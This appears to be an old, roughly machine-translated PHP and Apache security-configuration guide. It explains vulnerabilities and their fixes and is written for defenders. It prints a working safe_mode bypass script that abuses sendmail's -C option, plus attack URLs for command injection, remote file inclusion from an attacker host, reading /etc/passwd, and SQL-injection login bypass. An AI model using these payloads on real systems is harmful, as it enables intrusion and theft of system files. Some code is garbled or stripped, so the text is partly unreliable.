PHP Insurance Configuration

Source: Internet
Author: User
Tags file copy php server php file upload apache log
PHP Security Configuration
One, Web server security

PHP is really just a module function of Web server, so the security of Web server should be ensured first. Of course, the Web server to be secure and must be first to ensure that the system security, so far away, endless. PHP can be combined with a variety of Web servers, and this is just about Apache. It is highly recommended to install boot Apache in chroot mode, so that even if Apache and PHP and their scripts are compromised, only the system that is affected will not compromise the actual system. However, using Chroot Apache, the application will also bring some trouble, such as the connection to MySQL must use the 127.0.0.1 address with a TCP connection instead of localhost to achieve the socket connection, which is slightly less efficient. There is also a problem with the mail function sending mail, because in php.ini:

[Mail Function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
Sendmail_from = [email protected]

Are for the Win32 platform, so you need to adjust the sendmail in the chroot environment.

Second, the problem of PHP itself

1. Remote Overflow

File upload remote buffer Overflow vulnerability exists in all versions below PHP-4.1.2, and the attack program has been widely circulated, the success rate is very high:

Http://packetstormsecurity.org/0204-exploits/7350fun
Http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2. Remote denial of service

PHP-4.2.0 and PHP-4.2.1 exist PHP Multipart/form-data post requests to handle remote vulnerabilities, although local user rights cannot be obtained, but can also cause a denial of service.

3. Safe_mode Bypass Vulnerability

There are PHP-4.2.2 the following to the PHP-4.0.5 version of the PHP mail function to bypass the safe_mode limit execution of the command vulnerability, 4.0.5 The start of the mail function added the fifth parameter, because the designer is ill-conceived to break through the safe_mode of the restrictions to execute the command. The 4.0.5 version break is very simple, just separated by a semicolon with the shell command, such as the existence of PHP script evil.php:



Execute the following URL:

Http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]

[Email protected]

[Email Protected]endmail the-c parameter, so the system must be using SendMail. The following code can break the Safe_mode limit execution command:

Note that the following two must be non-existent, or their owner and the owner of the script are the same
$script = "/tmp/script123";
$CF = "/tmp/cf123";

$FD = fopen ($CF, "w");
Fwrite ($FD, "oq/tmp
Sparse=0
R$* ". Chr (9). "$ #local $@ $: $
MLocal, p=/bin/sh, A=sh $script ");
Fclose ($FD);

$FD = fopen ($script, "w");
Fwrite ($FD, "Rm-f $script $cf;");
Fwrite ($FD, $cmd);
Fclose ($FD);

Mail ("Nobody", "" "," "", "", "-C$CF");
?>

Or use the above problematic version of PHP users must be in time to upgrade to the latest version, so as to eliminate the basic security issues.

Third, the security configuration of PHP itself

The configuration of PHP is very flexible and can be set by PHP.ini, httpd.conf,. htaccess files (which must be set allowoverride all or options), and can be used in the script Ini_set () and other specific functions to set. The Phpinfo () and Get_cfg_var () functions allow you to get the individual values of the configuration options.

If the configuration options are unique to the Php_ini_system property, they must be modified by php.ini and httpd.conf, which modify the master value of PHP, but must restart Apache after modification to take effect. Where php.ini sets the option to take effect on all scripts of the Web server, the option set in httpd.conf is for all scripts in the defined directory to take effect.

If there are other Php_ini_user, Php_ini_perdir, the Php_ini_all property option can be set using the. htaccess file, or by using the Ini_set () function in the script itself, which modifies the local value, It will take effect immediately after the change. But. htaccess is only valid for scripts in the current directory, and the Ini_set () function only takes effect after the script has set the Ini_set () function. The options properties may be different for each version, and you can find the main.c file of the current source code with the following command to get all the options, along with its properties:

# grep Php_ini_/php_src/main/main.c

Before discussing PHP security configuration, you should have a good understanding of PHP Safe_mode mode.

1, Safe_mode

Safe_mode is the only Php_ini_system property that must be set by PHP.ini or httpd.conf. To enable Safe_mode, simply modify the php.ini:

Safe_mode = On

or modify httpd.conf, define the directory:


Options FollowSymLinks
Php_admin_value Safe_mode 1


After restarting Apache, Safe_mode is in effect. Starting Safe_mode will limit many PHP functions, especially those related to the system, such as file opening, command execution, and so on.
All functions that manipulate files will only operate on the same file as the script uid, such as the contents of the test.php script:



The properties of several files are as follows:

# Ls-la
Total 13
Drwxr-xr-x 2 root root 104 Jul 20 01:25.
Drwxr-xr-x root root 384 Jul 18 12:02..
-rw-r--r--1 root root 4110 Oct 2002 index.html
-rw-r--r--1 www-data www-data 19:14 test.php

In the browser request test.php will be prompted with the following error message:

Warning:safe MODE restriction in effect. The script whose uid/gid is 33/33 are not allowed to access./index.html owned by Uid/gid 0/0 in/var/www/test.php on line 1

If the file is in the same directory as the UID and script uid, then the UID of the file can be accessed even if it is different from the script, I do not know if this is a PHP vulnerability or otherwise. So the PHP script is the owner of the user is the best way to do this, absolutely prohibit the use of root as a PHP script owner, so that can not achieve safe_mode effect.

If you want to relax to the GID comparison, open safe_mode_gid to consider only comparing the GID of the file, you can set the following options:

Safe_mode_gid = On

After the Safe_mode is set, all functions executed by the command will be restricted to only the programs in the php.ini safe_mode_exec_dir the specified directory, and the shell_exec, ' ls-l ' execution of the command will be disabled. If you do need to call other programs, you can do the following in php.ini:

Safe_mode_exec_dir =/usr/local/php/exec

Then copy the program to the directory, then the PHP script can use functions such as system to execute the program. The shell scripts in the directory can also invoke system commands in other directories.

Safe_mode_include_dir string
The Uid/gid check is passed when this directory and its subdirectories (directories must be contained in include_path or with full paths) contain files.

Starting with PHP 4.2.0, this directive can accept a semicolon-delimited path to a style similar to the include_path directive, not just a directory.

The specified limit is actually a prefix, not a directory name. This means that "Safe_mode_include_dir =/DIR/INCL" will allow access to "/dir/include" and "/dir/incls" if they exist. If you want to control access to a specified directory, add a slash at the end, for example: "Safe_mode_include_dir =/dir/incl/".

Safe_mode_allowed_env_vars string
Setting certain environment variables can be a potential security breach. This directive contains a comma-delimited list of prefixes. In Safe mode, users can only change the environment variables whose names have the prefixes provided here. By default, users can only set environment variables that begin with PHP_ (for example, Php_foo = BAR).

Note: If this instruction is empty, PHP will allow the user to modify any environment variables!

Safe_mode_protected_env_vars string
This directive contains a comma-delimited list of environment variables that the end user cannot use to change these environment variables (putenv). These variables cannot be changed even when the Safe_mode_allowed_env_vars is set to allow modification.

Although Safe_mode is not omnipotent (the lower version of PHP can be bypassed), it is strongly recommended to turn on Safe mode to some extent to avoid some unknown attacks. However, there are many limitations to enabling Safe_mode, which can have an impact on your application, so you need to adjust your code and configuration to be harmonious. Functions that are restricted or shielded by Safe mode can refer to the PHP manual.

After discussing the Safe_mode, the following is a discussion of the actual possible problems with the program code to avoid the vulnerabilities through the configuration of the PHP server side.

2. Misuse of variables

php default register_globals = On, for GET, POST, Cookie, environment, session variables can be directly registered as global variables. Their registration order is Variables_order = "Egpcs" (Can be modified by php.ini), the same name variable variables_order the right side of the overlay to the left, so the misuse of variables is very easy to cause confusion of the program. And script programmers often do not have the habit of initializing variables, such as the following program fragment is very vulnerable to attack:

test_1.php

if ($pass = = "Hello")
$auth = 1;

if ($auth = = 1)
echo "Some important information";
Else
echo "Nothing";
?>

An attacker could bypass the check by simply requesting the following:
Http://victim/test_1.php?auth=1

This is a very retarded mistake, but some well-known programs have made such mistakes, such as Phpnuke remote file copy vulnerability: http://www.securityfocus.com/bid/3361

It is recommended to close register_globals when PHP-4.1.0 is released, and provide 7 special array variables to use the various variables. Variables from Get, POST, cookie, etc. are not directly registered as variables and must be accessed through array variables. When PHP-4.2.0 is released, the php.ini default configuration is Register_globals = Off. This allows the program to use PHP itself to initialize the default value, typically 0, to avoid the attacker to control the judgment variable.

Workaround:

Configuration file php.ini Set register_globals = Off.

Requires the programmer to initialize a value at the beginning of the program as a variable to be judged.

3. File Open

Extremely vulnerable snippets of code:

test_2.php

if (! ( $str = ReadFile ("$filename"))) {
Echo ("Could not open File: $filename
\ n ");
Exit
}
else {
Echo $str;
}
?>

Since an attacker could specify arbitrary $filename, an attacker could see/etc/passwd with the following request:

http://victim/test_2.php?filename=/etc/passwd

The following request can read the PHP file itself:

http://victim/test_2.php?filename=test_2.php

The file Open function in PHP also has fopen (), files (), and so on, if the file name variable check is not strict will cause the server important files are accessed read.

Workaround:

If not special needs, the PHP file operation is limited to the Web directory. Here is an example of modifying the Apache configuration file httpd.conf:


Php_admin_value Open_basedir/usr/local/apache/htdocs


After restarting Apache, the PHP script in the/usr/local/apache/htdocs directory can only manipulate files in its own directory, or PHP will error:

Warning:open_basedir restriction in effect. File is in wrong directory with XXX on line xx.

Using the Safe_mode mode can also avoid this problem, as discussed earlier.

4. Include Files

Extremely vulnerable snippets of code:

test_3.php

if (file_exists ($filename))
Include ("$filename");
?>

This irresponsible code can be quite damaging, and the attacker could get the/etc/passwd file with the following request:

http://victim/test_3.php?filename=/etc/passwd

If the UNIX version of PHP (win version of PHP does not support the remote opening of files), the attacker can open an HTTP or FTP service on the machine to create a file containing shell commands, such as http://attack/attack.txt content is , the following request can execute command LS/ETC on the target host:

Http://victim/test_3.php?filename=http://attack/attack.txt

Attackers can even get code to execute commands by including Apache's log files Access.log and Error.log, but it is sometimes difficult to succeed because there is too much information to interfere with them.
For another form, the following code fragment:

test_4.php

Include ("$lib/config.php");
?>

An attacker could create a config.php file containing execution command code on his or her host, and then execute the command on the target host with the following request:

Http://victim/test_4.php?lib=http://attack

The included functions of PHP are include (), include_once (), require (), require_once. If you are not strict with the include file name variable, you will be severely dangerous to the system and can execute the command remotely.

Workaround:

Ask the programmer to include the parameters in the file as far as possible do not use variables, if the use of variables, you must strictly check the file name to be included, absolutely cannot be arbitrarily specified by the user.

Restricting the PHP operation path is a necessary option as in the previous file open. In addition, if not special needs, be sure to turn off the remote file open PHP function. To modify the php.ini file:

Allow_url_fopen = Off

Restart Apache.

5. File Upload

PHP file upload mechanism is to save the user's uploaded files in the php.ini Upload_tmp_dir defined temporary directory (default is the system's temporary directory, such as:/tmp) in a similar phpxxuoxg random temporary file, the program execution ends, the temporary file is also deleted. PHP defines four variables for uploaded files: (such as the form variable name is file, and register_globals Open)

$file #就是保存到服务器端的临时文件 (e.g./TMP/PHPXXUOXG)
$file _size #上传文件的大小
$file _name #上传文件的原始名称
$file _type #上传文件的类型

Recommended Use:

$HTTP _post_files[' file ' [' Tmp_name ']
$HTTP _post_files[' file ' [' Size ']
$HTTP _post_files[' file ' [' name ']
$HTTP _post_files[' file ' [' type ']

This is one of the simplest file upload codes:

test_5.php

if (Isset ($upload) && $file! = "None") {
Copy ($file, "/usr/local/apache/htdocs/upload/". $file _name);
echo "File". $file _name. " Upload success! Click Continue upload ";
Exit
}
?>


<title>File Upload</title>







Such upload code has a major problem in reading arbitrary files and executing commands.
The following request can copy the/etc/passwd document to the Web directory/usr/local/apache/htdocs/test (Note: This directory must be nobody writable) under the Attack.txt file:

Http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

You can then read the password file with the following request:

Http://victim/test/attack.txt

An attacker could copy a PHP file into another extension and leak the script source code.
An attacker can customize the value of the file_name variable in the form to upload a file that overrides any write permission.
Attackers can also upload commands from the PHP script execution host.

Workaround:

PHP-4.0.3 later provides the is_uploaded_file and Move_uploaded_file functions to check if the file being manipulated is a user-uploaded file, thus avoiding copying the system files to the Web directory.
Use the $http_post_files array to read the file variables uploaded by the user.
Check the upload variables Strictly. For example, PHP script files are not allowed.

Restricting PHP script operations to the Web directory avoids programmers using the copy function to copy system files to the Web directory. Move_uploaded_file is not restricted by open_basedir, so it is not necessary to modify the value of Upload_tmp_dir in php.ini.
The PHP script is encrypted with Phpencode to avoid leaking the source code due to the copy operation.
Strictly configure the file and directory permissions, only allow the uploaded directory to allow nobody users to write.
For the upload directory to remove the PHP interpretation function, you can modify the httpd.conf implementation:


Php_flag engine off
#如果是php3换成php3_engine off


Restart Apache,upload directory PHP file can not be interpreted by Apache, even if the php file upload is not a problem, can only directly display the source code.

6. Command execution

The following code snippet is taken from Phpnettoolpack, detailed description is shown in:

http://www.securityfocus.com/bid/4303

test_6.php

System ("Traceroute $a _query", $ret _strs);
?>

Because the program does not filter the $a_query variable, an attacker could append a command with a semicolon.

The attacker can execute the CAT/ETC/PASSWD command by entering the following request:

http://victim/test_6.php?a_query=www.example.com;cat/etc/passwd

The command execution functions of PHP are also system (), PassThru (), Popen (), and so on. Command execution functions are very dangerous and use caution. Be sure to check user input strictly if you want to use it.

Workaround:

Requires programmers to use the Escapeshellcmd () function to filter user-entered Shell commands.

Enabling Safe_mode can eliminate many of the execution commands, but be aware that PHP's version must be up-to-date, and less than PHP-4.2.2 may bypass the Safe_mode restrictions to execute commands.

7, Sql_inject

The following SQL statement has a problem if the variable is not processed:

SELECT * FROM login where user= ' $user ' and pass= ' $pass '

An attacker could enter 1 ' or 1 = ' 1 bypass authentication for both username and password.

But fortunately PHP has a default option MAGIC_QUOTES_GPC = ON, which allows the variable to be automatically added to the addslashes () operation from Get, POST, and Cookie. The above SQL statement becomes:

SELECT * FROM login where user= ' 1\ ' or 1=\ ' 1 ' and pass= ' 1\ ' or 1=\ ' 1 '

This type of sql_inject attack is thus avoided.

For fields of numeric type, many programmers write this:

SELECT * FROM Test where id= $id

The Sql_inject attack is caused by the fact that the variable is not amplified with single quotes. Fortunately, MySQL has a simple function, no SQL Server and other databases have execute commands, and the PHP mysql_query () function is only allowed to execute an SQL statement, so the use of semicolons to separate multiple SQL statements can not be effective. But the attacker could at least make the query statement error, leaking some information from the system, or some unexpected situation.

Workaround:

Requires the programmer to filter all user-submitted variables to be placed in the SQL statement.
Even if a field of numeric type is used, the variable should be enclosed in single quotes, and MySQL will process the string into numbers.
In MySQL do not give the PHP program high-level permissions of users, only allow the operation of their own library, which also avoids the problem of the program is SELECT into OUTFILE ... This attack.

8. Warnings and error messages

PHP Displays all warnings and error messages by default:

error_reporting = E_all & ~e_notice
Display_errors = On

This is useful when developing debugging, and you can find the error of the program immediately, based on the warning message.
When used formally, warnings and error messages overwhelm the user and give the attacker the physical path to which the script resides, providing favorable information for further attacks. And because they do not have access to the wrong place, but can not promptly modify the program errors. So it's wise to log all of the warnings and error messages from PHP to a logfile, that is, not to give the attacker a physical path, but to let them know where the program is wrong.

Modify php.ini about the error handling and logging part of the content:

error_reporting = E_all
Display_errors = Off
Log_errors = On
Error_log =/usr/local/apache/logs/php_error.log

Then restart Apache, note that file/usr/local/apache/logs/php_error.log must be available for nobody users to write.

9, Disable_functions

If you feel that some functions are still a threat, you can set the disable_functions in php.ini (this option cannot be set in httpd.conf), such as:

Disable_functions = Phpinfo, Get_cfg_var

You can specify multiple functions, separated by commas. After restarting Apache, Phpinfo, Get_cfg_var functions are disabled. It is recommended to close the function phpinfo, Get_cfg_var, these two functions are easy to leak server information, and there is no practical use.

10, Disable_classes

This option is available from PHP-4.3.2, which can disable some classes if there are multiple separated class names with commas. Disable_classes can not be set in the httpd.conf, only in the php.ini configuration file can be modified.

11, Open_basedir

The previous analysis routine also mentions the use of Open_basedir to restrict the path of the script operation, and then introduce its features. The limit specified with Open_basedir is actually a prefix, not a directory name. This means "Open_basedir =/dir/incl" also allows access to "/dir/include" and "/dir/incls" if they exist. If you want to restrict access to only the specified directory, end the path name with a slash. For example: "Open_basedir =/dir/incl/".
You can set up multiple directories in Windows, separating the directories with semicolons. Separate the directories with colons in any other system. As an Apache module, the Open_basedir path in the parent directory is automatically inherited.

Iv. Other security configurations

1, cancellation of other users of common, important system commands read and write execution permissions

General Administrator maintenance only a normal user and administrative users, in addition to the two users, to other users can execute and access to the less things should be better, so the cancellation of other users of common, important system commands read and write execution permissions can be a program or service vulnerabilities in the time of the attackers to bring great confusion. Remember that you must also remove the permission to read, otherwise under Linux can be used/lib/ld-linux.so.2/bin/ls this way to execute.
If you want to cancel a certain course if it is in the chroot environment, the job is easier to achieve, otherwise, this work is still a bit of a challenge. Some services are not functioning properly because the execution permissions of some programs are canceled. The Mail function of PHP needs/bin/sh to call SendMail, so/bin/bash execution permission cannot be removed. It's a rather tiring job,

2, remove the Apache log other users Read permission

Apache's Access-log provides the door to some programs that contain vulnerabilities locally. By submitting a URL that contains PHP code, you can make Access-log contain PHP code, and then point the containing file to Access-log to execute those PHP code to gain local access.
If there are other virtual hosts, you should also remove the other users of the log file read permissions.

Of course, if you follow the previously described configuration of PHP then it is generally impossible to read the log file.
  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.